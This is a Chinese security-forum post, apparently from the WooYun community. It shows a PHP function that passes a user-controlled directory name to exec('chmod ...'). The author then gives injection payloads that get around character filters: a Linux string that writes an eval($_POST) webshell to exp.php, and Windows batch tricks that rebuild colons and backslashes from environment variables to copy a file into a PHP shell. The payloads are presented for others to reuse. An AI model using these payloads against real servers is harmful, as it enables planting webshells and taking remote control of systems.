唉,好羡慕你们这些职业白帽子。。。

这里好像没什么评论交流啊,发的帖子也都很专业的样子,我这么随意好像不太好,唉,不管了,反正我就是来水一帖,希望有人能用得上吧。

有一天,我在XX的过程中,发现一个命令注入漏洞,存在漏洞地方是这样的:

<?
function FDir($homedir, $dper)
{
    $dir_yn = mkdir($homedir, $dper);
    if($dir_yn)
    {
        exec("chmod ".$dper." ".$homedir);
    return true;
   }
   else
   {
        return false;  
   }
}
$config_id = $_POST[config_id];
$config_id = "some_str_here_".$tconfig_id;
......
$object->insert($config_id, $table_name);
......
FDir("../data/".$config_id."_data", 777);
?>

很明显的,$homedir存在命令注入漏洞,只是在命令执行前,需要mkdir成功。

Linux系统就很简单了:

;var1=;${var1:=<?php @eval($};var2=;${var2:=_POST['ech0!']);?>};echo $var1$var2>..$(expr substr $(pwd) 1 1)data$(expr substr $(pwd) 1 1)exp.php;

而windows系统,想要mkdir成功的话,文件名不能包含任何下列字符之一:

\/:*?"<>|

在不允许有以上字符的情况下,怎么构造注入命令呢,下面是我构造的,希望有人能用的上。

命令嘛,肯定要用到一些特殊字符,比如斜杠啊什么的,但是斜杠被限制了,那么我们的思路是从环境变量里截取出来,但是截取命令又需要用到冒号,这里冒号也被限制了。

那么我们要做到不直接用冒号来截取冒号,可以吗?可以的。

set C=%systemdrive%&call set var=%%C%~1,1%

call echo %var%

:

你要的冒号,出来了。

我们再把斜杠凑出来:

set C=%systemdrive%&set  v1=w&set w=%windir%&call set v2=%%C%~1,1%&call call set v3=%v1%%v2%~2,1%&call call set v4=%%v3%

v4就是斜杠了

我们用他们来构造一个copy命令:

set C=%systemdrive%&set F=w&set w=%tmp%&call set U=%%C%~1,1%&call call set K=%F%%U%~2,1%&call call set H=%%K%&set t=temp&call copy %C%%H%%t%%H%target.tmp exp.php

这个就是将C:\temp\target.txt 给复制到当前工作目录,格式转php。

能执行命令了。
祝好!
致敬 zone.wooyun.org
by YiYang

源链接

Hacking more

...